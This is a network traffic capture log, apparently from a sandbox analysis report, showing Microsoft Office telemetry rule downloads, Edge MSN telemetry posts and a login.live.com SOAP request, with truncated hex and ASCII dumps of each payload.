2024-11-11 20:59:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	58826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:26 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 6193c1ec-701e-000d-35d5-336de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205926Z-174f7845968nnm4mhC1EWR1rn400000005gg0000000019qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	58824	104.208.16.90	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:26 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358764822&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5245 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1; msnup=
2024-11-11 20:59:26 UTC	5245	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 35 39 3a 32 34 2e 38 32 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 37 34 64 63 36 39 35 2d 38 39 66 37 2d 34 37 34 66 2d 39 61 31 37 2d 63 36 36 30 34 36 39 62 64 35 36 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 32 36 34 38 33 31 36 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T20:59:24.821Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"674dc695-89f7-474f-9a17-c660469bd561","epoch":"3026483166"},"app":{"locale
2024-11-11 20:59:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=896a3e8ca4b64ca985422870b38f3475&HASH=896a&LV=202411&V=4&LU=1731358766864; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 20:59:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=86bb591807a84f34b413654ed040ba8a; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 21:29:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2042 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 20:59:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	58828	104.208.16.90	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:26 UTC	1034	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358765072&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10059 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1; msnup=
2024-11-11 20:59:26 UTC	10059	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 35 39 3a 32 35 2e 30 37 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 37 34 64 63 36 39 35 2d 38 39 66 37 2d 34 37 34 66 2d 39 61 31 37 2d 63 36 36 30 34 36 39 62 64 35 36 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 32 36 34 38 33 31 36 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-11T20:59:25.071Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"674dc695-89f7-474f-9a17-c660469bd561","epoch":"3026483166"},"app":{"loc
2024-11-11 20:59:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3eeeb60813ea4d01b1763701440564b0&HASH=3eee&LV=202411&V=4&LU=1731358766830; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 20:59:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f8dc14ecea944c4ca66a8e3c53efbaba; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 21:29:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1758 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 20:59:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	58830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d9045f06-101e-00a2-02d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205927Z-174f7845968px8v7hC1EWR08ng00000005r000000000ce48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	58832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: feb35d59-101e-0079-01d5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205927Z-174f7845968vqt9xhC1EWRgten00000005hg000000008z5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	58831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 87508ad6-a01e-0098-68d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205927Z-174f7845968pf68xhC1EWRr4h800000005m000000000uayy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	58833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: aedf17c0-c01e-0046-3ad5-332db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205927Z-174f7845968n2hr8hC1EWR9cag000000053g00000000bz2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	58834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 30996da0-701e-006f-5cd5-33afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205927Z-174f7845968c2t8dhC1EWR8s20000000058g00000000582m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:27 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	58835	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 20:59:27 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 20:59:28 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 20:58:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C515_SN1 x-ms-request-id: 4f6b368e-c46a-42f5-80d9-6dcc898e958a PPServer: PPV: 30 H: SN1PEPF0002F0D7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 20:59:28 GMT Connection: close Content-Length: 11391
2024-11-11 20:59:28 UTC	11391	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	58838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
